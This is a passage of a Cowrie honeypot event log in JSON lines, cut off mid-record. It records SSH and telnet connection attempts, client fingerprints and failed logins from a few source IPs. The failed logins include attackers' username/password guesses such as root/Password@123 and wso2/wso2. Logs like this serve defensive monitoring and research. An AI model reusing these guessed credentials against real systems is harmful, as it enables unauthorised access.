{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:40:42.801284Z","src_ip":"91.92.40.171","session":"d0e2cbe7e9e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":39948,"dst_ip":"159.203.135.109","dst_port":22,"session":"906ac2ff9521","protocol":"ssh","message":"New connection: 91.92.42.133:39948 (159.203.135.109:22) [session: 906ac2ff9521]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:40:44.654265Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:40:44.937145Z","src_ip":"91.92.42.133","session":"906ac2ff9521","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:40:44.941234Z","src_ip":"91.92.42.133","session":"906ac2ff9521","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"11","message":"login attempt [root/11] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:40:47.297001Z","src_ip":"91.92.42.133","session":"906ac2ff9521","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":50710,"dst_ip":"159.203.135.109","dst_port":22,"session":"4d4f66b141b5","protocol":"ssh","message":"New connection: 91.92.40.171:50710 (159.203.135.109:22) [session: 4d4f66b141b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:40:48.216625Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:40:48.260419Z","src_ip":"91.92.40.171","session":"4d4f66b141b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:40:48.667104Z","src_ip":"91.92.42.133","session":"906ac2ff9521","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:40:48.993202Z","src_ip":"91.92.40.171","session":"4d4f66b141b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password@123","message":"login attempt [root/Password@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:40:51.436880Z","src_ip":"91.92.40.171","session":"4d4f66b141b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":40048,"dst_ip":"159.203.135.109","dst_port":22,"session":"331a93e47834","protocol":"ssh","message":"New connection: 91.92.42.133:40048 (159.203.135.109:22) [session: 331a93e47834]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:40:52.233933Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:40:52.288954Z","src_ip":"91.92.42.133","session":"331a93e47834","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:40:52.376672Z","src_ip":"91.92.42.133","session":"331a93e47834","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wso2","password":"wso2","message":"login attempt [wso2/wso2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:40:52.831570Z","src_ip":"91.92.42.133","session":"331a93e47834","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.1","message":"Connection lost after 5.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:40:53.350525Z","src_ip":"91.92.40.171","session":"4d4f66b141b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":60922,"dst_ip":"159.203.135.109","dst_port":23,"session":"5f80b02ae715","protocol":"telnet","message":"New connection: 128.199.8.54:60922 (159.203.135.109:23) [session: 5f80b02ae715]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:40:53.787768Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.121.214.50","src_port":35475,"dst_ip":"10.17.0.5","dst_port":22,"session":"c60aa112d568","protocol":"ssh","message":"New connection: 117.121.214.50:35475 (10.17.0.5:22) [session: c60aa112d568]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:40:53.982323Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:40:53.986808Z","src_ip":"117.121.214.50","session":"c60aa112d568","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:40:54.228621Z","src_ip":"117.121.214.50","session":"c60aa112d568","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":50750,"dst_ip":"159.203.135.109","dst_port":22,"session":"78d1cd90c2ae","protocol":"ssh","message":"New connection: 91.92.40.171:50750 (159.203.135.109:22) [session: 78d1cd90c2ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:40:54.337219Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:40:54.341941Z","src_ip":"91.92.40.171","session":"78d1cd90c2ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:40:54.396944Z","src_ip":"91.92.42.133","session":"331a93e47834","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ct123456","message":"login attempt [root/Ct123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:40:55.222304Z","src_ip":"117.121.214.50","session":"c60aa112d568","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:40:55.479219Z","src_ip":"91.92.40.171","session":"78d1cd90c2ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:40:56.464826Z","src_ip":"117.121.214.50","session":"c60aa112d568","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":50930,"dst_ip":"159.203.135.109","dst_port":22,"session":"190cf2f0b73d","protocol":"ssh","message":"New connection: 91.92.40.171:50930 (159.203.135.109:22) [session: 190cf2f0b73d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:40:57.866010Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:40:57.932331Z","src_ip":"91.92.40.171","session":"190cf2f0b73d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:40:58.057386Z","src_ip":"91.92.40.171","session":"190cf2f0b73d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"123456","message":"login attempt [admin1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:40:58.377090Z","src_ip":"91.92.40.171","session":"190cf2f0b73d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gabriel","password":"123321","message":"login attempt [gabriel/123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:40:58.690253Z","src_ip":"91.92.40.171","session":"78d1cd90c2ae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":58340,"dst_ip":"159.203.135.109","dst_port":22,"session":"9b24c94ff752","protocol":"ssh","message":"New connection: 91.92.42.133:58340 (159.203.135.109:22) [session: 9b24c94ff752]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:40:59.268934Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:40:59.445313Z","src_ip":"91.92.42.133","session":"9b24c94ff752","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:40:59.448345Z","src_ip":"91.92.42.133","session":"9b24c94ff752","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:40:59.475694Z","src_ip":"91.92.40.171","session":"190cf2f0b73d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"741852963","message":"login attempt [root/741852963] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:41:00.344018Z","src_ip":"91.92.42.133","session":"9b24c94ff752","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.4","message":"Connection lost after 6.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:41:00.706981Z","src_ip":"91.92.40.171","session":"78d1cd90c2ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:41:01.450550Z","src_ip":"91.92.42.133","session":"9b24c94ff752","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":50946,"dst_ip":"159.203.135.109","dst_port":22,"session":"01ffe4796c35","protocol":"ssh","message":"New connection: 91.92.40.171:50946 (159.203.135.109:22) [session: 01ffe4796c35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:41:04.315515Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:41:04.430208Z","src_ip":"91.92.40.171","session":"01ffe4796c35","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:41:05.039913Z","src_ip":"91.92.40.171","session":"01ffe4796c35","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":56524,"dst_ip":"159.203.135.109","dst_port":22,"session":"c3b1b63c9e2b","protocol":"ssh","message":"New connection: 91.92.42.133:56524 (159.203.135.109:22) [session: c3b1b63c9e2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:41:06.862626Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:41:06.918115Z","src_ip":"91.92.42.133","session":"c3b1b63c9e2b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@